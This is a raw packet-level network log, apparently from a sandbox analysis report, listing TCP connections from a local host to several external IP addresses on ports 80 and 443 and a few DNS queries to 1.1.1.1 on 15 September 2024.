Sep 15, 2024 19:37:44.850539923 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.850574970 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.850697041 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.850728989 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.850729942 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.850784063 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.850785971 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.850819111 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.850832939 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.850852966 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.850881100 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.850883961 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.850915909 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.850917101 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.850956917 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.850969076 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.850991011 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.851005077 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.851037025 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.851042986 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.851054907 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.851077080 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.851118088 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.851140976 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.851140976 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.851150036 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.851183891 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.851195097 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.851217031 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.851238012 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.851238966 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.851249933 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.851284027 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.851300001 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.851309061 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.851339102 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.851361036 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.851372004 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.851394892 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.851428986 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.851438999 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.851471901 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.851491928 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.851511002 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.851545095 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.851564884 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.851563931 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.851598978 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.851630926 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.851632118 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.851650000 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.851675034 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.851686001 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.851718903 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.851749897 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.851752043 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.851768017 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.851785898 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.851813078 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.851819992 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.851852894 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.851876974 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.851876974 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.851886034 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.851898909 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.851914883 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.851936102 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.851948023 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.851975918 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.851999998 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.852005959 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.852035046 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.852068901 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.852073908 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.852102041 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.852111101 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.852133989 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.852155924 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.852164030 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.852189064 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.852219105 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.852221966 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.852267027 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.852298975 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.852298975 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.852298975 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.852299929 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.852334976 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.852364063 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.852368116 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.852396011 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.852401018 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.852413893 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.852433920 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.852452993 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.852468014 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.852484941 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.852520943 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.857698917 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.857770920 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.857795954 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.857810974 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.857866049 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.857876062 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.857881069 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.857896090 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.857938051 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.857938051 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.858050108 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.858064890 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.858081102 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.858113050 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.858134031 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.858195066 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.858210087 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.858226061 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.858242035 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.858256102 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.858270884 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.858275890 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.858275890 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.858288050 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.858314991 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.858314991 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.858354092 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.858411074 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.858434916 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.858479023 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.858479023 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.858484030 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.858500004 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.858515978 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.858562946 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.858562946 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.858562946 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.858690023 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.858704090 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.858719110 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.858732939 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.858737946 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.858747959 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.858762980 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.858772993 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.858772993 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.858808994 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:45.036340952 CEST	49759	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:45.036395073 CEST	443	49759	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:45.036490917 CEST	49759	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:45.071363926 CEST	49759	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:45.071403980 CEST	443	49759	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:45.474725962 CEST	49760	443	192.168.2.6	188.114.97.3
Sep 15, 2024 19:37:45.474827051 CEST	443	49760	188.114.97.3	192.168.2.6
Sep 15, 2024 19:37:45.474910975 CEST	49760	443	192.168.2.6	188.114.97.3
Sep 15, 2024 19:37:45.476896048 CEST	49760	443	192.168.2.6	188.114.97.3
Sep 15, 2024 19:37:45.476936102 CEST	443	49760	188.114.97.3	192.168.2.6
Sep 15, 2024 19:37:45.592036009 CEST	443	49759	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:45.592122078 CEST	49759	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:45.595938921 CEST	49759	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:45.595971107 CEST	443	49759	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:45.596302032 CEST	443	49759	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:45.596544027 CEST	49759	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:45.597943068 CEST	49759	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:45.639446020 CEST	443	49759	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:45.734286070 CEST	443	49759	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:45.734317064 CEST	443	49759	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:45.734473944 CEST	49759	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:45.734496117 CEST	443	49759	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:45.734996080 CEST	443	49759	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:45.735059977 CEST	443	49759	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:45.735169888 CEST	49759	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:45.737152100 CEST	49759	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:45.792148113 CEST	49759	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:45.792175055 CEST	443	49759	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:45.840210915 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:45.845108986 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:45.940349102 CEST	443	49760	188.114.97.3	192.168.2.6
Sep 15, 2024 19:37:45.940424919 CEST	49760	443	192.168.2.6	188.114.97.3
Sep 15, 2024 19:37:45.944750071 CEST	49760	443	192.168.2.6	188.114.97.3
Sep 15, 2024 19:37:45.944783926 CEST	443	49760	188.114.97.3	192.168.2.6
Sep 15, 2024 19:37:45.945079088 CEST	443	49760	188.114.97.3	192.168.2.6
Sep 15, 2024 19:37:45.990888119 CEST	49760	443	192.168.2.6	188.114.97.3
Sep 15, 2024 19:37:45.995362043 CEST	49760	443	192.168.2.6	188.114.97.3
Sep 15, 2024 19:37:45.995424986 CEST	49760	443	192.168.2.6	188.114.97.3
Sep 15, 2024 19:37:45.995563984 CEST	443	49760	188.114.97.3	192.168.2.6
Sep 15, 2024 19:37:46.282561064 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:46.282624960 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:46.404388905 CEST	443	49760	188.114.97.3	192.168.2.6
Sep 15, 2024 19:37:46.404493093 CEST	443	49760	188.114.97.3	192.168.2.6
Sep 15, 2024 19:37:46.404575109 CEST	49760	443	192.168.2.6	188.114.97.3
Sep 15, 2024 19:37:46.537450075 CEST	49760	443	192.168.2.6	188.114.97.3
Sep 15, 2024 19:37:46.537451029 CEST	49760	443	192.168.2.6	188.114.97.3
Sep 15, 2024 19:37:46.537524939 CEST	443	49760	188.114.97.3	192.168.2.6
Sep 15, 2024 19:37:46.537544012 CEST	443	49760	188.114.97.3	192.168.2.6
Sep 15, 2024 19:37:46.918338060 CEST	49761	443	192.168.2.6	172.67.221.198
Sep 15, 2024 19:37:46.918384075 CEST	443	49761	172.67.221.198	192.168.2.6
Sep 15, 2024 19:37:46.918541908 CEST	49761	443	192.168.2.6	172.67.221.198
Sep 15, 2024 19:37:46.919095993 CEST	49761	443	192.168.2.6	172.67.221.198
Sep 15, 2024 19:37:46.919115067 CEST	443	49761	172.67.221.198	192.168.2.6
Sep 15, 2024 19:37:47.379787922 CEST	443	49761	172.67.221.198	192.168.2.6
Sep 15, 2024 19:37:47.379854918 CEST	49761	443	192.168.2.6	172.67.221.198
Sep 15, 2024 19:37:47.382580996 CEST	49761	443	192.168.2.6	172.67.221.198
Sep 15, 2024 19:37:47.382592916 CEST	443	49761	172.67.221.198	192.168.2.6
Sep 15, 2024 19:37:47.382975101 CEST	443	49761	172.67.221.198	192.168.2.6
Sep 15, 2024 19:37:47.384254932 CEST	49761	443	192.168.2.6	172.67.221.198
Sep 15, 2024 19:37:47.384296894 CEST	49761	443	192.168.2.6	172.67.221.198
Sep 15, 2024 19:37:47.384320974 CEST	443	49761	172.67.221.198	192.168.2.6
Sep 15, 2024 19:37:47.835378885 CEST	443	49761	172.67.221.198	192.168.2.6
Sep 15, 2024 19:37:47.835500956 CEST	443	49761	172.67.221.198	192.168.2.6
Sep 15, 2024 19:37:47.835617065 CEST	49761	443	192.168.2.6	172.67.221.198
Sep 15, 2024 19:37:47.870254040 CEST	49761	443	192.168.2.6	172.67.221.198
Sep 15, 2024 19:37:47.870254040 CEST	49761	443	192.168.2.6	172.67.221.198
Sep 15, 2024 19:37:47.870277882 CEST	443	49761	172.67.221.198	192.168.2.6
Sep 15, 2024 19:37:47.870281935 CEST	443	49761	172.67.221.198	192.168.2.6
Sep 15, 2024 19:37:47.890584946 CEST	49762	443	192.168.2.6	188.114.96.3
Sep 15, 2024 19:37:47.890633106 CEST	443	49762	188.114.96.3	192.168.2.6
Sep 15, 2024 19:37:47.890764952 CEST	49762	443	192.168.2.6	188.114.96.3
Sep 15, 2024 19:37:47.891102076 CEST	49762	443	192.168.2.6	188.114.96.3
Sep 15, 2024 19:37:47.891120911 CEST	443	49762	188.114.96.3	192.168.2.6
Sep 15, 2024 19:37:48.384524107 CEST	443	49762	188.114.96.3	192.168.2.6
Sep 15, 2024 19:37:48.384624958 CEST	49762	443	192.168.2.6	188.114.96.3
Sep 15, 2024 19:37:48.386260033 CEST	49762	443	192.168.2.6	188.114.96.3
Sep 15, 2024 19:37:48.386272907 CEST	443	49762	188.114.96.3	192.168.2.6
Sep 15, 2024 19:37:48.386507034 CEST	443	49762	188.114.96.3	192.168.2.6
Sep 15, 2024 19:37:48.387717962 CEST	49762	443	192.168.2.6	188.114.96.3
Sep 15, 2024 19:37:48.387717962 CEST	49762	443	192.168.2.6	188.114.96.3
Sep 15, 2024 19:37:48.387790918 CEST	443	49762	188.114.96.3	192.168.2.6
Sep 15, 2024 19:37:48.844454050 CEST	443	49762	188.114.96.3	192.168.2.6
Sep 15, 2024 19:37:48.844544888 CEST	443	49762	188.114.96.3	192.168.2.6
Sep 15, 2024 19:37:48.844623089 CEST	49762	443	192.168.2.6	188.114.96.3
Sep 15, 2024 19:37:48.844818115 CEST	49762	443	192.168.2.6	188.114.96.3
Sep 15, 2024 19:37:48.844841957 CEST	443	49762	188.114.96.3	192.168.2.6
Sep 15, 2024 19:37:48.844857931 CEST	49762	443	192.168.2.6	188.114.96.3
Sep 15, 2024 19:37:48.844866037 CEST	443	49762	188.114.96.3	192.168.2.6
Sep 15, 2024 19:37:48.874489069 CEST	49763	443	192.168.2.6	188.114.97.3
Sep 15, 2024 19:37:48.874598980 CEST	443	49763	188.114.97.3	192.168.2.6
Sep 15, 2024 19:37:48.877103090 CEST	49763	443	192.168.2.6	188.114.97.3
Sep 15, 2024 19:37:48.880845070 CEST	49763	443	192.168.2.6	188.114.97.3
Sep 15, 2024 19:37:48.880867004 CEST	443	49763	188.114.97.3	192.168.2.6
Sep 15, 2024 19:37:49.377041101 CEST	443	49763	188.114.97.3	192.168.2.6
Sep 15, 2024 19:37:49.377110004 CEST	49763	443	192.168.2.6	188.114.97.3
Sep 15, 2024 19:37:49.378793001 CEST	49763	443	192.168.2.6	188.114.97.3
Sep 15, 2024 19:37:49.378804922 CEST	443	49763	188.114.97.3	192.168.2.6
Sep 15, 2024 19:37:49.379096985 CEST	443	49763	188.114.97.3	192.168.2.6
Sep 15, 2024 19:37:49.380424023 CEST	49763	443	192.168.2.6	188.114.97.3
Sep 15, 2024 19:37:49.380440950 CEST	49763	443	192.168.2.6	188.114.97.3
Sep 15, 2024 19:37:49.380491972 CEST	443	49763	188.114.97.3	192.168.2.6
Sep 15, 2024 19:37:49.827223063 CEST	443	49763	188.114.97.3	192.168.2.6
Sep 15, 2024 19:37:49.827311039 CEST	443	49763	188.114.97.3	192.168.2.6
Sep 15, 2024 19:37:49.827399969 CEST	49763	443	192.168.2.6	188.114.97.3
Sep 15, 2024 19:37:49.827990055 CEST	49763	443	192.168.2.6	188.114.97.3
Sep 15, 2024 19:37:49.828042984 CEST	443	49763	188.114.97.3	192.168.2.6
Sep 15, 2024 19:37:49.828074932 CEST	49763	443	192.168.2.6	188.114.97.3
Sep 15, 2024 19:37:49.828094959 CEST	443	49763	188.114.97.3	192.168.2.6
Sep 15, 2024 19:37:49.859234095 CEST	49764	443	192.168.2.6	104.21.26.150
Sep 15, 2024 19:37:49.859263897 CEST	443	49764	104.21.26.150	192.168.2.6
Sep 15, 2024 19:37:49.859368086 CEST	49764	443	192.168.2.6	104.21.26.150
Sep 15, 2024 19:37:49.860137939 CEST	49764	443	192.168.2.6	104.21.26.150
Sep 15, 2024 19:37:49.860153913 CEST	443	49764	104.21.26.150	192.168.2.6
Sep 15, 2024 19:37:50.356848955 CEST	443	49764	104.21.26.150	192.168.2.6
Sep 15, 2024 19:37:50.356997967 CEST	49764	443	192.168.2.6	104.21.26.150
Sep 15, 2024 19:37:50.366683006 CEST	49764	443	192.168.2.6	104.21.26.150
Sep 15, 2024 19:37:50.366705894 CEST	443	49764	104.21.26.150	192.168.2.6
Sep 15, 2024 19:37:50.366934061 CEST	443	49764	104.21.26.150	192.168.2.6
Sep 15, 2024 19:37:50.368416071 CEST	49764	443	192.168.2.6	104.21.26.150
Sep 15, 2024 19:37:50.368416071 CEST	49764	443	192.168.2.6	104.21.26.150
Sep 15, 2024 19:37:50.368479013 CEST	443	49764	104.21.26.150	192.168.2.6
Sep 15, 2024 19:37:50.443563938 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:50.445166111 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:50.846287966 CEST	443	49764	104.21.26.150	192.168.2.6
Sep 15, 2024 19:37:50.846374035 CEST	443	49764	104.21.26.150	192.168.2.6
Sep 15, 2024 19:37:50.846507072 CEST	49764	443	192.168.2.6	104.21.26.150
Sep 15, 2024 19:37:50.846612930 CEST	49764	443	192.168.2.6	104.21.26.150
Sep 15, 2024 19:37:50.846647024 CEST	443	49764	104.21.26.150	192.168.2.6
Sep 15, 2024 19:37:50.862196922 CEST	49765	443	192.168.2.6	188.114.96.3
Sep 15, 2024 19:37:50.862255096 CEST	443	49765	188.114.96.3	192.168.2.6
Sep 15, 2024 19:37:50.862333059 CEST	49765	443	192.168.2.6	188.114.96.3
Sep 15, 2024 19:37:50.863044977 CEST	49765	443	192.168.2.6	188.114.96.3
Sep 15, 2024 19:37:50.863065004 CEST	443	49765	188.114.96.3	192.168.2.6
Sep 15, 2024 19:37:51.324790001 CEST	443	49765	188.114.96.3	192.168.2.6
Sep 15, 2024 19:37:51.324888945 CEST	49765	443	192.168.2.6	188.114.96.3
Sep 15, 2024 19:37:51.330818892 CEST	49765	443	192.168.2.6	188.114.96.3
Sep 15, 2024 19:37:51.330841064 CEST	443	49765	188.114.96.3	192.168.2.6
Sep 15, 2024 19:37:51.331135988 CEST	443	49765	188.114.96.3	192.168.2.6
Sep 15, 2024 19:37:51.353693962 CEST	49765	443	192.168.2.6	188.114.96.3
Sep 15, 2024 19:37:51.357182980 CEST	49765	443	192.168.2.6	188.114.96.3
Sep 15, 2024 19:37:51.357244015 CEST	443	49765	188.114.96.3	192.168.2.6
Sep 15, 2024 19:37:51.771083117 CEST	443	49765	188.114.96.3	192.168.2.6
Sep 15, 2024 19:37:51.771174908 CEST	443	49765	188.114.96.3	192.168.2.6
Sep 15, 2024 19:37:51.771814108 CEST	49765	443	192.168.2.6	188.114.96.3
Sep 15, 2024 19:37:51.771892071 CEST	49765	443	192.168.2.6	188.114.96.3
Sep 15, 2024 19:37:51.771914959 CEST	443	49765	188.114.96.3	192.168.2.6
Sep 15, 2024 19:37:51.771928072 CEST	49765	443	192.168.2.6	188.114.96.3
Sep 15, 2024 19:37:51.771935940 CEST	443	49765	188.114.96.3	192.168.2.6
Sep 15, 2024 19:37:51.782109976 CEST	49766	443	192.168.2.6	23.50.98.133
Sep 15, 2024 19:37:51.782160044 CEST	443	49766	23.50.98.133	192.168.2.6
Sep 15, 2024 19:37:51.782228947 CEST	49766	443	192.168.2.6	23.50.98.133
Sep 15, 2024 19:37:51.782601118 CEST	49766	443	192.168.2.6	23.50.98.133
Sep 15, 2024 19:37:51.782617092 CEST	443	49766	23.50.98.133	192.168.2.6
Sep 15, 2024 19:37:52.435203075 CEST	443	49766	23.50.98.133	192.168.2.6
Sep 15, 2024 19:37:52.435370922 CEST	49766	443	192.168.2.6	23.50.98.133
Sep 15, 2024 19:37:52.437500000 CEST	49766	443	192.168.2.6	23.50.98.133
Sep 15, 2024 19:37:52.437508106 CEST	443	49766	23.50.98.133	192.168.2.6
Sep 15, 2024 19:37:52.437741041 CEST	443	49766	23.50.98.133	192.168.2.6
Sep 15, 2024 19:37:52.439110994 CEST	49766	443	192.168.2.6	23.50.98.133
Sep 15, 2024 19:37:52.479444027 CEST	443	49766	23.50.98.133	192.168.2.6
Sep 15, 2024 19:37:52.947772026 CEST	443	49766	23.50.98.133	192.168.2.6
Sep 15, 2024 19:37:52.947797060 CEST	443	49766	23.50.98.133	192.168.2.6
Sep 15, 2024 19:37:52.947810888 CEST	443	49766	23.50.98.133	192.168.2.6
Sep 15, 2024 19:37:52.947850943 CEST	49766	443	192.168.2.6	23.50.98.133
Sep 15, 2024 19:37:52.947865963 CEST	443	49766	23.50.98.133	192.168.2.6
Sep 15, 2024 19:37:52.947968960 CEST	49766	443	192.168.2.6	23.50.98.133
Sep 15, 2024 19:37:53.040764093 CEST	443	49766	23.50.98.133	192.168.2.6
Sep 15, 2024 19:37:53.040824890 CEST	443	49766	23.50.98.133	192.168.2.6
Sep 15, 2024 19:37:53.040888071 CEST	49766	443	192.168.2.6	23.50.98.133
Sep 15, 2024 19:37:53.040899038 CEST	443	49766	23.50.98.133	192.168.2.6
Sep 15, 2024 19:37:53.040956020 CEST	49766	443	192.168.2.6	23.50.98.133
Sep 15, 2024 19:37:53.054003000 CEST	443	49766	23.50.98.133	192.168.2.6
Sep 15, 2024 19:37:53.054048061 CEST	443	49766	23.50.98.133	192.168.2.6
Sep 15, 2024 19:37:53.054097891 CEST	49766	443	192.168.2.6	23.50.98.133
Sep 15, 2024 19:37:53.054105997 CEST	443	49766	23.50.98.133	192.168.2.6
Sep 15, 2024 19:37:53.054131985 CEST	443	49766	23.50.98.133	192.168.2.6
Sep 15, 2024 19:37:53.054161072 CEST	49766	443	192.168.2.6	23.50.98.133
Sep 15, 2024 19:37:53.054208994 CEST	49766	443	192.168.2.6	23.50.98.133
Sep 15, 2024 19:37:53.054250002 CEST	49766	443	192.168.2.6	23.50.98.133
Sep 15, 2024 19:37:53.054269075 CEST	443	49766	23.50.98.133	192.168.2.6
Sep 15, 2024 19:37:53.054289103 CEST	49766	443	192.168.2.6	23.50.98.133
Sep 15, 2024 19:37:53.054295063 CEST	443	49766	23.50.98.133	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 15, 2024 19:36:56.381584883 CEST	59844	53	192.168.2.6	1.1.1.1
Sep 15, 2024 19:36:56.389497042 CEST	53	59844	1.1.1.1	192.168.2.6
Sep 15, 2024 19:37:32.064184904 CEST	58043	53	192.168.2.6	1.1.1.1
Sep 15, 2024 19:37:32.275795937 CEST	53	58043	1.1.1.1	192.168.2.6
Sep 15, 2024 19:37:45.443445921 CEST	57008	53	192.168.2.6	1.1.1.1
